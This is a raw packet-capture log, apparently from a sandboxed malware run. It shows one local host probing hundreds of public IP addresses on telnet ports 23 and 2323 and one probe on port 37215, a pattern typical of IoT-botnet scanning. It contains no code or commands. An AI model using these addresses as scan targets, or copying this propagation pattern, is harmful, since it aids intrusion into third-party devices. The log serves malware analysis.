Nov 3, 2024 15:37:20.222925901 CET	23	41760	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:20.222933054 CET	34488	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:20.222937107 CET	23	49076	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:20.222942114 CET	36201	23	192.168.2.14	185.163.71.100
Nov 3, 2024 15:37:20.222946882 CET	23	40070	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:20.222956896 CET	23	51574	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:20.222965956 CET	41760	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:20.222965956 CET	49076	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:20.222966909 CET	44160	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:20.222980976 CET	51574	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:20.222981930 CET	40070	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:20.223000050 CET	2323	51352	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:20.223010063 CET	36201	23	192.168.2.14	66.178.222.210
Nov 3, 2024 15:37:20.223012924 CET	23	50314	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:20.223022938 CET	23	55362	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:20.223032951 CET	23	41406	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:20.223042965 CET	23	57008	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:20.223051071 CET	51352	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:20.223052025 CET	50314	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:20.223052979 CET	55362	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:20.223056078 CET	23	53250	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:20.223067045 CET	23	56366	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:20.223078012 CET	41406	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:20.223078966 CET	23	38304	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:20.223081112 CET	57008	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:20.223090887 CET	23	52492	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:20.223100901 CET	2323	43888	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:20.223108053 CET	23	50162	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:20.223108053 CET	56366	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:20.223112106 CET	53250	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:20.223112106 CET	23	35086	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:20.223121881 CET	38304	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:20.223125935 CET	23	37506	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:20.223141909 CET	52492	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:20.223143101 CET	43888	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:20.223155022 CET	50162	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:20.223181963 CET	37506	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:20.223181963 CET	35086	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:20.223206997 CET	36201	23	192.168.2.14	100.182.170.174
Nov 3, 2024 15:37:20.223215103 CET	36201	23	192.168.2.14	18.151.138.108
Nov 3, 2024 15:37:20.223232985 CET	36201	2323	192.168.2.14	120.32.63.50
Nov 3, 2024 15:37:20.223256111 CET	36201	23	192.168.2.14	156.107.29.137
Nov 3, 2024 15:37:20.223290920 CET	36201	23	192.168.2.14	2.229.166.102
Nov 3, 2024 15:37:20.223292112 CET	36201	23	192.168.2.14	197.108.220.15
Nov 3, 2024 15:37:20.223309040 CET	23	48676	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:20.223325014 CET	23	40480	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:20.223332882 CET	36201	23	192.168.2.14	44.143.23.122
Nov 3, 2024 15:37:20.223335028 CET	23	53592	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:20.223346949 CET	23	33436	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:20.223351955 CET	48676	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:20.223359108 CET	53592	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:20.223361969 CET	23	43032	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:20.223371983 CET	2323	51916	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:20.223381996 CET	40480	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:20.223385096 CET	23	59470	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:20.223396063 CET	23	36538	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:20.223395109 CET	33436	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:20.223407030 CET	43032	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:20.223408937 CET	23	60052	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:20.223417044 CET	59470	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:20.223418951 CET	51916	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:20.223421097 CET	23	52390	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:20.223429918 CET	36538	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:20.223432064 CET	2323	42718	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:20.223443985 CET	23	43634	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:20.223444939 CET	36201	23	192.168.2.14	5.4.117.6
Nov 3, 2024 15:37:20.223447084 CET	60052	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:20.223453999 CET	23	45472	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:20.223463058 CET	23	39234	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:20.223474026 CET	23	56254	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:20.223474026 CET	52390	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:20.223474979 CET	43634	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:20.223484039 CET	42718	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:20.223494053 CET	39234	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:20.223495007 CET	23	49078	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:20.223507881 CET	23	60356	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:20.223516941 CET	23	51662	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:20.223522902 CET	56254	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:20.223524094 CET	45472	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:20.223524094 CET	36201	23	192.168.2.14	185.195.28.89
Nov 3, 2024 15:37:20.223527908 CET	23	34356	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:20.223539114 CET	23	42926	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:20.223548889 CET	23	46404	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:20.223548889 CET	49078	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:20.223551035 CET	51662	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:20.223558903 CET	34356	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:20.223560095 CET	23	53590	9.100.226.225	192.168.2.14
Nov 3, 2024 15:37:20.223568916 CET	60356	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:20.223572016 CET	23	32950	180.136.220.145	192.168.2.14
Nov 3, 2024 15:37:20.223579884 CET	42926	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:20.223582029 CET	46404	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:20.223582983 CET	23	60162	8.127.170.172	192.168.2.14
Nov 3, 2024 15:37:20.223593950 CET	23	46384	71.215.194.126	192.168.2.14
Nov 3, 2024 15:37:20.223604918 CET	23	50520	48.144.211.27	192.168.2.14
Nov 3, 2024 15:37:20.223608971 CET	32950	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:20.223611116 CET	53590	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:20.223618031 CET	60162	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:20.223620892 CET	23	40836	40.112.119.143	192.168.2.14
Nov 3, 2024 15:37:20.223644018 CET	46384	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:20.223655939 CET	40836	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:20.223656893 CET	50520	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:20.223687887 CET	36201	23	192.168.2.14	39.23.48.120
Nov 3, 2024 15:37:20.223714113 CET	36201	23	192.168.2.14	210.254.183.0
Nov 3, 2024 15:37:20.223740101 CET	36201	23	192.168.2.14	17.38.87.192
Nov 3, 2024 15:37:20.223751068 CET	36201	2323	192.168.2.14	187.196.233.8
Nov 3, 2024 15:37:20.223773956 CET	36201	23	192.168.2.14	169.44.61.187
Nov 3, 2024 15:37:20.223790884 CET	36201	23	192.168.2.14	32.208.71.245
Nov 3, 2024 15:37:20.223814011 CET	36201	23	192.168.2.14	112.83.89.122
Nov 3, 2024 15:37:20.223826885 CET	36201	23	192.168.2.14	92.17.50.105
Nov 3, 2024 15:37:20.223843098 CET	36201	23	192.168.2.14	63.88.205.19
Nov 3, 2024 15:37:20.223864079 CET	36201	23	192.168.2.14	14.123.163.133
Nov 3, 2024 15:37:20.223891020 CET	36201	23	192.168.2.14	5.192.248.232
Nov 3, 2024 15:37:20.223913908 CET	36201	23	192.168.2.14	218.132.129.168
Nov 3, 2024 15:37:20.223937035 CET	36201	23	192.168.2.14	156.70.105.62
Nov 3, 2024 15:37:20.223963976 CET	36201	2323	192.168.2.14	81.195.135.160
Nov 3, 2024 15:37:20.223987103 CET	36201	23	192.168.2.14	162.6.57.27
Nov 3, 2024 15:37:20.224001884 CET	36201	23	192.168.2.14	19.21.99.101
Nov 3, 2024 15:37:20.224014044 CET	36201	23	192.168.2.14	19.97.123.35
Nov 3, 2024 15:37:20.224026918 CET	36201	23	192.168.2.14	4.109.135.75
Nov 3, 2024 15:37:20.224051952 CET	36201	23	192.168.2.14	96.18.254.229
Nov 3, 2024 15:37:20.224064112 CET	36201	23	192.168.2.14	68.49.133.42
Nov 3, 2024 15:37:20.224077940 CET	36201	23	192.168.2.14	179.112.186.3
Nov 3, 2024 15:37:20.224102020 CET	36201	23	192.168.2.14	141.7.116.213
Nov 3, 2024 15:37:20.224114895 CET	36201	23	192.168.2.14	166.233.233.182
Nov 3, 2024 15:37:20.224128962 CET	36201	2323	192.168.2.14	194.169.116.233
Nov 3, 2024 15:37:20.224152088 CET	36201	23	192.168.2.14	59.228.78.149
Nov 3, 2024 15:37:20.224164963 CET	36201	23	192.168.2.14	61.8.49.158
Nov 3, 2024 15:37:20.224189043 CET	36201	23	192.168.2.14	135.109.25.21
Nov 3, 2024 15:37:20.224209070 CET	36201	23	192.168.2.14	71.22.195.146
Nov 3, 2024 15:37:20.224237919 CET	36201	23	192.168.2.14	13.118.13.210
Nov 3, 2024 15:37:20.224261045 CET	36201	23	192.168.2.14	155.207.75.240
Nov 3, 2024 15:37:20.224283934 CET	36201	23	192.168.2.14	8.120.109.119
Nov 3, 2024 15:37:20.224298000 CET	36201	23	192.168.2.14	73.181.71.39
Nov 3, 2024 15:37:20.224322081 CET	36201	23	192.168.2.14	194.61.9.187
Nov 3, 2024 15:37:20.224334955 CET	36201	2323	192.168.2.14	76.175.122.220
Nov 3, 2024 15:37:20.224347115 CET	36201	23	192.168.2.14	117.165.85.76
Nov 3, 2024 15:37:20.224360943 CET	36201	23	192.168.2.14	83.36.67.238
Nov 3, 2024 15:37:20.224375010 CET	36201	23	192.168.2.14	54.42.227.178
Nov 3, 2024 15:37:20.224400997 CET	36201	23	192.168.2.14	43.173.123.239
Nov 3, 2024 15:37:20.224415064 CET	36201	23	192.168.2.14	39.25.27.254
Nov 3, 2024 15:37:20.224426985 CET	36201	23	192.168.2.14	70.127.125.206
Nov 3, 2024 15:37:20.224445105 CET	36201	23	192.168.2.14	37.27.241.72
Nov 3, 2024 15:37:20.224452972 CET	36201	23	192.168.2.14	67.210.114.126
Nov 3, 2024 15:37:20.224467039 CET	36201	23	192.168.2.14	102.22.241.255
Nov 3, 2024 15:37:20.224493027 CET	36201	2323	192.168.2.14	62.239.123.204
Nov 3, 2024 15:37:20.224517107 CET	36201	23	192.168.2.14	136.74.244.76
Nov 3, 2024 15:37:20.224533081 CET	36201	23	192.168.2.14	193.51.37.229
Nov 3, 2024 15:37:20.224540949 CET	36201	23	192.168.2.14	13.186.213.57
Nov 3, 2024 15:37:20.224558115 CET	36201	23	192.168.2.14	45.133.64.162
Nov 3, 2024 15:37:20.224565029 CET	36201	23	192.168.2.14	156.113.22.57
Nov 3, 2024 15:37:20.224591017 CET	36201	23	192.168.2.14	221.50.224.83
Nov 3, 2024 15:37:20.224607944 CET	36201	23	192.168.2.14	191.23.60.137
Nov 3, 2024 15:37:20.224632978 CET	36201	23	192.168.2.14	19.5.167.131
Nov 3, 2024 15:37:20.224657059 CET	36201	23	192.168.2.14	13.206.4.77
Nov 3, 2024 15:37:20.224689007 CET	36201	2323	192.168.2.14	174.75.21.207
Nov 3, 2024 15:37:20.224699974 CET	36201	23	192.168.2.14	189.162.119.183
Nov 3, 2024 15:37:20.224725008 CET	36201	23	192.168.2.14	219.139.179.162
Nov 3, 2024 15:37:20.224740028 CET	36201	23	192.168.2.14	170.162.219.7
Nov 3, 2024 15:37:20.224762917 CET	36201	23	192.168.2.14	109.246.40.196
Nov 3, 2024 15:37:20.224776983 CET	36201	23	192.168.2.14	180.172.69.168
Nov 3, 2024 15:37:20.224791050 CET	36201	23	192.168.2.14	120.156.202.82
Nov 3, 2024 15:37:20.224813938 CET	36201	23	192.168.2.14	159.100.191.108
Nov 3, 2024 15:37:20.224843979 CET	36201	23	192.168.2.14	100.28.80.198
Nov 3, 2024 15:37:20.224860907 CET	36201	23	192.168.2.14	77.75.80.242
Nov 3, 2024 15:37:20.224874020 CET	36201	2323	192.168.2.14	148.209.105.90
Nov 3, 2024 15:37:20.224886894 CET	36201	23	192.168.2.14	67.223.13.106
Nov 3, 2024 15:37:20.224910021 CET	36201	23	192.168.2.14	203.31.249.175
Nov 3, 2024 15:37:20.224922895 CET	36201	23	192.168.2.14	20.252.49.30
Nov 3, 2024 15:37:20.224948883 CET	36201	23	192.168.2.14	209.173.68.134
Nov 3, 2024 15:37:20.224972010 CET	36201	23	192.168.2.14	72.18.180.27
Nov 3, 2024 15:37:20.224997997 CET	36201	23	192.168.2.14	219.100.252.80
Nov 3, 2024 15:37:20.225012064 CET	36201	23	192.168.2.14	187.150.182.218
Nov 3, 2024 15:37:20.225032091 CET	36201	23	192.168.2.14	180.61.200.179
Nov 3, 2024 15:37:20.225056887 CET	36201	23	192.168.2.14	31.49.241.62
Nov 3, 2024 15:37:20.225080013 CET	36201	2323	192.168.2.14	220.148.83.198
Nov 3, 2024 15:37:20.225092888 CET	36201	23	192.168.2.14	62.167.5.194
Nov 3, 2024 15:37:20.225101948 CET	36201	23	192.168.2.14	73.241.104.141
Nov 3, 2024 15:37:20.225131035 CET	36201	23	192.168.2.14	69.15.151.79
Nov 3, 2024 15:37:20.225142956 CET	36201	23	192.168.2.14	205.228.130.234
Nov 3, 2024 15:37:20.225167990 CET	36201	23	192.168.2.14	19.23.46.223
Nov 3, 2024 15:37:20.225214958 CET	36201	23	192.168.2.14	221.163.198.180
Nov 3, 2024 15:37:20.225235939 CET	36201	23	192.168.2.14	164.70.69.47
Nov 3, 2024 15:37:20.225253105 CET	36201	23	192.168.2.14	164.56.99.72
Nov 3, 2024 15:37:20.225271940 CET	36201	23	192.168.2.14	43.231.74.130
Nov 3, 2024 15:37:20.225286007 CET	36201	2323	192.168.2.14	87.202.111.155
Nov 3, 2024 15:37:20.225308895 CET	36201	23	192.168.2.14	85.175.134.54
Nov 3, 2024 15:37:20.225334883 CET	36201	23	192.168.2.14	90.185.162.218
Nov 3, 2024 15:37:20.225357056 CET	36201	23	192.168.2.14	48.84.126.209
Nov 3, 2024 15:37:20.225380898 CET	36201	23	192.168.2.14	195.92.194.221
Nov 3, 2024 15:37:20.225394011 CET	36201	23	192.168.2.14	34.60.178.21
Nov 3, 2024 15:37:20.225416899 CET	36201	23	192.168.2.14	142.246.177.237
Nov 3, 2024 15:37:20.225430965 CET	36201	23	192.168.2.14	119.106.12.157
Nov 3, 2024 15:37:20.225445986 CET	36201	23	192.168.2.14	189.132.210.239
Nov 3, 2024 15:37:20.225457907 CET	36201	23	192.168.2.14	105.126.219.208
Nov 3, 2024 15:37:20.225476027 CET	36201	2323	192.168.2.14	17.234.119.142
Nov 3, 2024 15:37:20.225486040 CET	36201	23	192.168.2.14	133.207.103.124
Nov 3, 2024 15:37:20.225500107 CET	36201	23	192.168.2.14	203.152.223.99
Nov 3, 2024 15:37:20.225513935 CET	36201	23	192.168.2.14	218.59.0.108
Nov 3, 2024 15:37:20.225538969 CET	36201	23	192.168.2.14	154.168.131.126
Nov 3, 2024 15:37:20.225548029 CET	36201	23	192.168.2.14	43.11.8.215
Nov 3, 2024 15:37:20.225585938 CET	36201	23	192.168.2.14	101.92.104.46
Nov 3, 2024 15:37:20.225606918 CET	36201	23	192.168.2.14	123.149.105.255
Nov 3, 2024 15:37:20.225630045 CET	36201	23	192.168.2.14	19.138.232.156
Nov 3, 2024 15:37:20.225642920 CET	36201	23	192.168.2.14	24.143.142.138
Nov 3, 2024 15:37:20.225666046 CET	36201	2323	192.168.2.14	144.22.150.181
Nov 3, 2024 15:37:20.225689888 CET	36201	23	192.168.2.14	35.228.45.96
Nov 3, 2024 15:37:20.225714922 CET	36201	23	192.168.2.14	189.167.220.236
Nov 3, 2024 15:37:20.225727081 CET	36201	23	192.168.2.14	86.121.209.46
Nov 3, 2024 15:37:20.225743055 CET	36201	23	192.168.2.14	102.6.231.155
Nov 3, 2024 15:37:20.225754976 CET	36201	23	192.168.2.14	201.170.16.21
Nov 3, 2024 15:37:20.225778103 CET	36201	23	192.168.2.14	207.62.79.16
Nov 3, 2024 15:37:20.225801945 CET	36201	23	192.168.2.14	31.11.5.100
Nov 3, 2024 15:37:20.225816011 CET	36201	23	192.168.2.14	221.182.213.245
Nov 3, 2024 15:37:20.225838900 CET	36201	23	192.168.2.14	174.191.214.245
Nov 3, 2024 15:37:20.225861073 CET	36201	2323	192.168.2.14	207.189.136.27
Nov 3, 2024 15:37:20.225877047 CET	36201	23	192.168.2.14	44.107.150.218
Nov 3, 2024 15:37:20.225888968 CET	36201	23	192.168.2.14	161.121.131.91
Nov 3, 2024 15:37:20.225905895 CET	36201	23	192.168.2.14	85.162.78.68
Nov 3, 2024 15:37:20.225924969 CET	36201	23	192.168.2.14	213.215.240.223
Nov 3, 2024 15:37:20.225939989 CET	36201	23	192.168.2.14	141.97.5.128
Nov 3, 2024 15:37:20.225951910 CET	36201	23	192.168.2.14	79.247.110.234
Nov 3, 2024 15:37:20.225972891 CET	36201	23	192.168.2.14	187.160.252.10
Nov 3, 2024 15:37:20.226000071 CET	36201	23	192.168.2.14	36.163.160.177
Nov 3, 2024 15:37:20.226011992 CET	36201	23	192.168.2.14	59.191.5.160
Nov 3, 2024 15:37:20.226033926 CET	36201	2323	192.168.2.14	188.190.105.119
Nov 3, 2024 15:37:20.226047993 CET	36201	23	192.168.2.14	210.115.101.44
Nov 3, 2024 15:37:20.226068020 CET	36201	23	192.168.2.14	143.14.163.241
Nov 3, 2024 15:37:20.226094961 CET	36201	23	192.168.2.14	80.123.168.240
Nov 3, 2024 15:37:20.226118088 CET	36201	23	192.168.2.14	176.214.222.252
Nov 3, 2024 15:37:20.226128101 CET	36201	23	192.168.2.14	40.200.243.27
Nov 3, 2024 15:37:20.226154089 CET	36201	23	192.168.2.14	45.101.203.7
Nov 3, 2024 15:37:20.226178885 CET	36201	23	192.168.2.14	67.28.51.135
Nov 3, 2024 15:37:20.226190090 CET	36201	23	192.168.2.14	135.181.184.44
Nov 3, 2024 15:37:20.226206064 CET	36201	23	192.168.2.14	8.75.252.242
Nov 3, 2024 15:37:20.227349043 CET	2323	36201	142.88.2.24	192.168.2.14
Nov 3, 2024 15:37:20.227416992 CET	36201	2323	192.168.2.14	142.88.2.24
Nov 3, 2024 15:37:20.228487015 CET	37215	56556	156.43.89.130	192.168.2.14
Nov 3, 2024 15:37:20.228528023 CET	56556	37215	192.168.2.14	156.43.89.130
Nov 3, 2024 15:37:20.229310036 CET	23	33730	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:20.229391098 CET	23	45704	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:20.229444027 CET	33730	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.229446888 CET	2323	39042	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:20.229501009 CET	23	37146	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:20.229548931 CET	33778	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:20.229568005 CET	23	52236	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:20.229614019 CET	23	53454	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:20.229636908 CET	52236	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:20.229671955 CET	23	38440	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:20.229684114 CET	52294	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:20.229690075 CET	45704	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:20.229718924 CET	23	34488	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:20.229727983 CET	45760	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:20.229754925 CET	39042	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:20.229789019 CET	39094	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:20.229798079 CET	23	44160	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:20.229809046 CET	37146	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:20.229856968 CET	37204	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:20.229871988 CET	23	41760	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:20.229932070 CET	44160	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:20.229965925 CET	23	49076	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:20.229967117 CET	44232	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:20.229988098 CET	34488	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:20.230019093 CET	34560	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:20.230037928 CET	53454	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:20.230061054 CET	53526	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:20.230087996 CET	38440	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:20.230123043 CET	38510	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:20.230160952 CET	23	51574	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:20.230211973 CET	49076	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:20.230235100 CET	49160	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:20.230241060 CET	23	40070	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:20.230253935 CET	41760	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:20.230292082 CET	41844	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:20.230375051 CET	51574	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:20.230398893 CET	51666	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:20.230427980 CET	40070	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:20.230459929 CET	40162	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:20.230591059 CET	2323	51352	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:20.230704069 CET	51352	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:20.230742931 CET	51450	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:20.231193066 CET	23	50314	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:20.231292009 CET	50314	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:20.231319904 CET	23	55362	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:20.231364965 CET	23	41406	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:20.231388092 CET	50416	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:20.231476068 CET	41406	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:20.231513977 CET	41514	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:20.231522083 CET	55362	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:20.231558084 CET	55470	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:20.231602907 CET	23	57008	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:20.231698990 CET	57008	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:20.231722116 CET	23	56366	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:20.231740952 CET	57122	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:20.231807947 CET	56366	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:20.231827021 CET	56486	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:20.231827974 CET	23	53250	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:20.231911898 CET	53250	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:20.231949091 CET	53370	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:20.231970072 CET	23	38304	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:20.232058048 CET	38304	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:20.232084036 CET	38430	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:20.232180119 CET	23	52492	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:20.232279062 CET	52492	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:20.232296944 CET	52622	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:20.232343912 CET	2323	43888	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:20.232419968 CET	23	50162	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:20.232439995 CET	43888	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:20.232456923 CET	23	37506	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:20.232475042 CET	44022	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:20.232551098 CET	23	35086	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:20.232562065 CET	23	48676	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:20.232563972 CET	37506	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:20.232613087 CET	37650	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:20.232613087 CET	23	53592	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:20.232637882 CET	50162	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:20.232681990 CET	50302	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:20.232719898 CET	23	40480	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:20.232753038 CET	53592	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:20.232775927 CET	23	33436	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:20.232790947 CET	23	43032	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:20.232790947 CET	53746	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:20.232811928 CET	48676	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:20.232855082 CET	48828	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:20.232868910 CET	35086	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:20.232892036 CET	23	59470	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:20.232892036 CET	35236	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:20.232969999 CET	59470	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:20.232974052 CET	2323	51916	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:20.232992887 CET	59638	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:20.232999086 CET	23	36538	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:20.233023882 CET	43032	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:20.233055115 CET	23	60052	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:20.233057976 CET	43198	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:20.233081102 CET	33436	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:20.233108997 CET	33602	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:20.233131886 CET	40480	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:20.233151913 CET	23	52390	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:20.233155012 CET	40644	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:20.233185053 CET	36538	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:20.233194113 CET	60052	23	192.168.2.14	192.23.173.227
